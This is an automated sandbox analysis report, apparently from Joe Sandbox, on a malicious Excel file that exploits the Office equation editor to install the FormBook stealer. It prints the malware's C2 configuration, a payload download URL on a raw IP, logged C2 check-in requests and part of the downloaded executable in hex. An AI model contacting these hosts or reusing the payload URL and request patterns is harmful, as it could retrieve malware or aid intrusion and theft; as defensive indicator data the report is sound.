Windows Analysis Report ORDER CONFIRMATION.xlsx

Overview

General Information

Sample Name: ORDER CONFIRMATION.xlsx
Analysis ID: 483668
MD5: e1e18c326feb4aea3a983f390e0e36c2
SHA1: 7d0abdd1c61dac8dfb411fde050381149fa1aaff
SHA256: a53f9cefce2fc02da9726d54387b05952a3956b9da65c6927c96250b44099d9a
Tags: FormbookVelvetSweatshopxlsx
Infos:

Most interesting Screenshot:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Sigma detected: EQNEDT32.EXE connecting to internet
Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Yara detected AntiVM3
Sigma detected: Droppers Exploiting CVE-2017-11882
System process connects to network (likely due to code injection or exploit)
Sigma detected: File Dropped By EQNEDT32EXE
Antivirus detection for URL or domain
Sample uses process hollowing technique
Maps a DLL or memory area into another process
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
.NET source code contains potential unpacker
Injects a PE file into a foreign processes
Sigma detected: Execution from Suspicious Folder
Office equation editor drops PE file
Queues an APC in another process (thread injection)
.NET source code contains very large strings
Tries to detect virtualization through RDTSC time measurements
Machine Learning detection for dropped file
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Uses ipconfig to lookup or modify the Windows network settings
Drops PE files to the user root directory
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Potential document exploit detected (performs DNS queries)
HTTP GET or POST without a user agent
Downloads executable code via HTTP
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Enables debug privileges
Potential document exploit detected (unknown TCP traffic)
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Office Equation Editor has been started
Checks if the current process is being debugged
Binary contains a suspicious time stamp
Drops PE files to the user directory
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection:

barindex
Found malware configuration
Source: 00000008.00000002.541191725.0000000000400000.00000040.00000001.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.hanlansmojitovillage.net/nthe/"], "decoy": ["omelhorcurso-online.com", "ttjk020.com", "urfavvpimp.com", "touchmytag.com", "allianzbersamamu.com", "menucoders.com", "goldmig.com", "optplm.com", "ramblersattic.com", "thehendrixcollection.com", "angelsmoonsexshop.com", "indianajones.club", "tageslinsen.info", "thscore2.com", "onpar-golf.com", "youcanaskmeto.review", "overseaexpert.com", "1977991.com", "eurolajd.com", "thefoxshack.com", "bubblelized.com", "texasvoterregistration.com", "denme.net", "sprtnet.com", "aedenpure.com", "yourdoor.pro", "oakridge-pm.com", "swoldiersnation.com", "com-security.center", "prostockbeisbol.com", "mailbroadcastdelivery.club", "fihglobal.com", "hiphopventuresllc.com", "ambrieclothing.com", "colorfulcreativeco.com", "mysahuarita.com", "gibadugi.com", "asoboawa.com", "requotation.com", "wolford.mobi", "ndfvkwnew.icu", "thaysay.net", "thaibinhgear.com", "minhscribe.com", "americanstonesusa.com", "dindigulvysya.com", "tomrings.com", "plasticplank.com", "societegenerol.com", "jrufexsh.com", "ujulus.club", "cpb.site", "bhfhf.com", "yamano-ue.com", "vivorelle.com", "groundedheavens.com", "realstyleworks.com", "vicdux.world", "kegeratorcollective.com", "gamemavn.com", "authorjameswshepherdonline.com", "kankanlol.com", "renatradingbv.com", "ponnyridning.com"]}
Multi AV Scanner detection for submitted file
Source: ORDER CONFIRMATION.xlsx Virustotal: Detection: 32% Perma Link
Source: ORDER CONFIRMATION.xlsx ReversingLabs: Detection: 29%
Yara detected FormBook
Source: Yara match File source: 00000008.00000002.541191725.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.687551604.00000000002C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.687415275.00000000000C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.540998722.00000000001C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.540894487.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.506424858.0000000009AA6000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.498846912.0000000009AA6000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.687510611.0000000000290000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.481283058.00000000033B9000.00000004.00000001.sdmp, type: MEMORY
Antivirus detection for URL or domain
Source: http://www.plasticplank.com/nthe/?5jo4nr=S+ZwTBrK0+7RoomNfSvQ9j84ffpxKdfieFGWtVtD4WHCIMGVYLqiZt07bDY98RTkl0TyTg==&t48tJ=fJEp_HN8mPiTHN5P Avira URL Cloud: Label: malware
Source: http://198.23.212.143/ddr/vbc.exe Avira URL Cloud: Label: malware
Machine Learning detection for dropped file
Source: C:\Users\Public\vbc.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 8.2.vbc.exe.400000.2.unpack Avira: Label: TR/Crypt.ZPACK.Gen

Exploits:

barindex
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe Jump to behavior
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: ipconfig.pdb source: vbc.exe, 00000008.00000002.540860003.0000000000030000.00000040.00020000.sdmp
Source: Binary string: ipconfig.pdbN source: vbc.exe, 00000008.00000002.540860003.0000000000030000.00000040.00020000.sdmp
Source: Binary string: wntdll.pdb source: vbc.exe, ipconfig.exe

Software Vulnerabilities:

barindex
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: www.americanstonesusa.com
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 198.23.212.143:80
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 198.23.212.143:80
Source: excel.exe Memory has grown: Private usage: 4MB later: 69MB

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49170 -> 34.98.99.30:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49170 -> 34.98.99.30:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49170 -> 34.98.99.30:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49171 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49171 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49171 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49173 -> 184.168.131.241:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49173 -> 184.168.131.241:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49173 -> 184.168.131.241:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49180 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49180 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49180 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49182 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49182 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49182 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49185 -> 34.98.99.30:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49185 -> 34.98.99.30:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49185 -> 34.98.99.30:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49186 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49186 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49186 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49188 -> 184.168.131.241:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49188 -> 184.168.131.241:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49188 -> 184.168.131.241:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49195 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49195 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49195 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49197 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49197 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49197 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49200 -> 34.98.99.30:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49200 -> 34.98.99.30:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49200 -> 34.98.99.30:80
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.americanstonesusa.com
Source: C:\Windows\explorer.exe Network Connect: 34.98.99.30 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.realstyleworks.com
Source: C:\Windows\explorer.exe Domain query: www.plasticplank.com
Source: C:\Windows\explorer.exe Network Connect: 34.102.136.180 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 192.99.131.252 80 Jump to behavior
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.hanlansmojitovillage.net/nthe/
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View ASN Name: OVHFR OVHFR
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=TiWkgH4UkC7CIqz9ktcRQySnot/hSP0U84YZk1QGO5z/hARin1ng6rxU4Y++sy6YdGpizQ== HTTP/1.1Host: www.americanstonesusa.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?5jo4nr=S+ZwTBrK0+7RoomNfSvQ9j84ffpxKdfieFGWtVtD4WHCIMGVYLqiZt07bDY98RTkl0TyTg==&t48tJ=fJEp_HN8mPiTHN5P HTTP/1.1Host: www.plasticplank.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=QEezsAFDlNAB3yJURHSMHXjRGqVB06lXE20lDVvtKCtrVdaWOVmvQD4ln9eCVkj8l4WBCQ== HTTP/1.1Host: www.realstyleworks.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=enVshZ5ucPnpEJ79XKthUFU7GSCP6zpooNwVCr/P0s5BKPQIOoeKppWI2ezsgMpUEHhlAA== HTTP/1.1Host: www.authorjameswshepherdonline.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=54OfAHeKGwMzfFPkI96ZbDhctG36f6+/FiUzkHshmPfrtcl9VWH+3olASXX+4wyWJIckJQ== HTTP/1.1Host: www.hanlansmojitovillage.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?5jo4nr=JnpX3/YBBy9TCXbKhp8uYEFRBGzb3gJR2p4kRdES4yzOlzRdyh/c8y0xiKK/8z4KJyQSLA==&t48tJ=fJEp_HN8mPiTHN5P HTTP/1.1Host: www.thaysay.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?5jo4nr=B6rYep0Vm3M2EhGqYu/feA67U2SQJtGoCN7KN6fFlDVSMwI26b57yYW0nsnzi8vT4Ky8RQ==&t48tJ=fJEp_HN8mPiTHN5P HTTP/1.1Host: www.onpar-golf.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=TiWkgH4UkC7CIqz9ktcRQySnot/hSP0U84YZk1QGO5z/hARin1ng6rxU4Y++sy6YdGpizQ== HTTP/1.1Host: www.americanstonesusa.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?5jo4nr=S+ZwTBrK0+7RoomNfSvQ9j84ffpxKdfieFGWtVtD4WHCIMGVYLqiZt07bDY98RTkl0TyTg==&t48tJ=fJEp_HN8mPiTHN5P HTTP/1.1Host: www.plasticplank.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=QEezsAFDlNAB3yJURHSMHXjRGqVB06lXE20lDVvtKCtrVdaWOVmvQD4ln9eCVkj8l4WBCQ== HTTP/1.1Host: www.realstyleworks.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=enVshZ5ucPnpEJ79XKthUFU7GSCP6zpooNwVCr/P0s5BKPQIOoeKppWI2ezsgMpUEHhlAA== HTTP/1.1Host: www.authorjameswshepherdonline.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=54OfAHeKGwMzfFPkI96ZbDhctG36f6+/FiUzkHshmPfrtcl9VWH+3olASXX+4wyWJIckJQ== HTTP/1.1Host: www.hanlansmojitovillage.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?5jo4nr=JnpX3/YBBy9TCXbKhp8uYEFRBGzb3gJR2p4kRdES4yzOlzRdyh/c8y0xiKK/8z4KJyQSLA==&t48tJ=fJEp_HN8mPiTHN5P HTTP/1.1Host: www.thaysay.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?5jo4nr=B6rYep0Vm3M2EhGqYu/feA67U2SQJtGoCN7KN6fFlDVSMwI26b57yYW0nsnzi8vT4Ky8RQ==&t48tJ=fJEp_HN8mPiTHN5P HTTP/1.1Host: www.onpar-golf.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=TiWkgH4UkC7CIqz9ktcRQySnot/hSP0U84YZk1QGO5z/hARin1ng6rxU4Y++sy6YdGpizQ== HTTP/1.1Host: www.americanstonesusa.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?5jo4nr=S+ZwTBrK0+7RoomNfSvQ9j84ffpxKdfieFGWtVtD4WHCIMGVYLqiZt07bDY98RTkl0TyTg==&t48tJ=fJEp_HN8mPiTHN5P HTTP/1.1Host: www.plasticplank.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=QEezsAFDlNAB3yJURHSMHXjRGqVB06lXE20lDVvtKCtrVdaWOVmvQD4ln9eCVkj8l4WBCQ== HTTP/1.1Host: www.realstyleworks.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 15 Sep 2021 16:16:33 GMTServer: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.9Last-Modified: Wed, 15 Sep 2021 03:32:23 GMTETag: "87e00-5cc0058a7b386"Accept-Ranges: bytesContent-Length: 556544Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 f5 36 cf 82 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 74 08 00 00 08 00 00 00 00 00 00 ca 93 08 00 00 20 00 00 00 a0 08 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 08 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 78 93 08 00 4f 00 00 00 00 a0 08 00 dc 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 08 00 0c 00 00 00 5c 93 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 73 08 00 00 20 00 00 00 74 08 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 dc 05 00 00 00 a0 08 00 00 06 00 00 00 76 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 08 00 00 02 00 00 00 7c 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 93 08 00 00 00 00 00 48 00 00 00 02 00 05 00 90 3f 00 00 04 5f 01 00 03 00 00 00 6f 00 00 06 94 9e 01 00 c8 f4 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7e 02 1f 24 7d 04 00 00 04 02 16 7d 07 00 00 04 02 16 7d 08 00 00 04 02 28 15 00 00 0a 00 00 2a b6 02 1f 24 7d 04 00 00 04 02 16 7d 07 00 00 04 02 16 7d 08 00 00 04 02 28 15 00 00 0a 00 00 02 03 7d 02 00 00 04 02 04 7d 03 00 00 04 2a 00 00 13 30 02 00 4f 00 00 00 00 00 00 00 02 1f 24 7d 04 00 00 04 02 16 7d 07 00 00 04 02 16 7d 08 00 00 04 02 28 15 00 00 0a 00 00 02 03 7b 01 00 00 04 7d 01 00 00 04 02 03 7b 05 00 00 04 7d 05 00 00 04 02 03 7b 06 00 00 04 7d 06 00 00 04 02 03 7b 07 00 00 04 7d 07 00 00 04 2a 3a 00 02 7b 04 00 00 04 28 16 00 00 0a 00 2a 00 00 13 30 03 00 77 00 00 00 01 00 00 11 00 03 17 52 02 7b 01 00 00 04 0b 07 0a 06 2c 66 06 72 01 00 00 70 28 17 00 00 0a 2d 29 06 72 21 00 00 70 28 17 00 00 0a 2d 25 06 72 2d 00 00 70 28 17 00 00 0a 2d 25 06 72 39 00 00 70 28 17 00 00 0a 2d 25 2b 30 02 17 7d 08 00 00 04 2b 27 04 04 4a 02 7b 07 00 00 04 58 54 2b 1a 04 04 4a 02
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /ddr/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.23.212.143Connection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: unknown TCP traffic detected without corresponding DNS query: 198.23.212.143
Source: explorer.exe, 00000009.00000000.502008099.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: explorer.exe, 00000009.00000000.488322506.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://computername/printers/printername/.printer
Source: explorer.exe, 00000009.00000000.502008099.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://investor.msn.com
Source: explorer.exe, 00000009.00000000.502008099.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://investor.msn.com/
Source: explorer.exe, 00000009.00000000.483010699.0000000000255000.00000004.00000020.sdmp String found in binary or memory: http://java.sun.com
Source: explorer.exe, 00000009.00000000.493715346.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: explorer.exe, 00000009.00000000.493715346.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: explorer.exe, 00000009.00000000.483450971.0000000001BE0000.00000002.00020000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: explorer.exe, 00000009.00000000.486663706.0000000003E50000.00000002.00020000.sdmp String found in binary or memory: http://servername/isapibackend.dll
Source: explorer.exe, 00000009.00000000.493715346.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: explorer.exe, 00000009.00000000.488322506.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://treyresearch.net
Source: explorer.exe, 00000009.00000000.488322506.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://wellformedweb.org/CommentAPI/
Source: explorer.exe, 00000009.00000000.493715346.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: explorer.exe, 00000009.00000000.483450971.0000000001BE0000.00000002.00020000.sdmp String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 00000009.00000000.483010699.0000000000255000.00000004.00000020.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3
Source: CFE3BF36.emf.0.dr String found in binary or memory: http://www.day.com/dam/1.0
Source: explorer.exe, 00000009.00000000.488322506.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://www.expedia.com/pub/agent.dll?qscr=mcst&strt1=%1&city1=%2&stnm1=%4&zipc1=%3&cnty1=5?http://ww
Source: explorer.exe, 00000009.00000000.502008099.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: explorer.exe, 00000009.00000000.493715346.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: explorer.exe, 00000009.00000000.488322506.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://www.iis.fhg.de/audioPA
Source: explorer.exe, 00000009.00000000.502008099.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: explorer.exe, 00000009.00000000.503345454.00000000044E7000.00000004.00000001.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
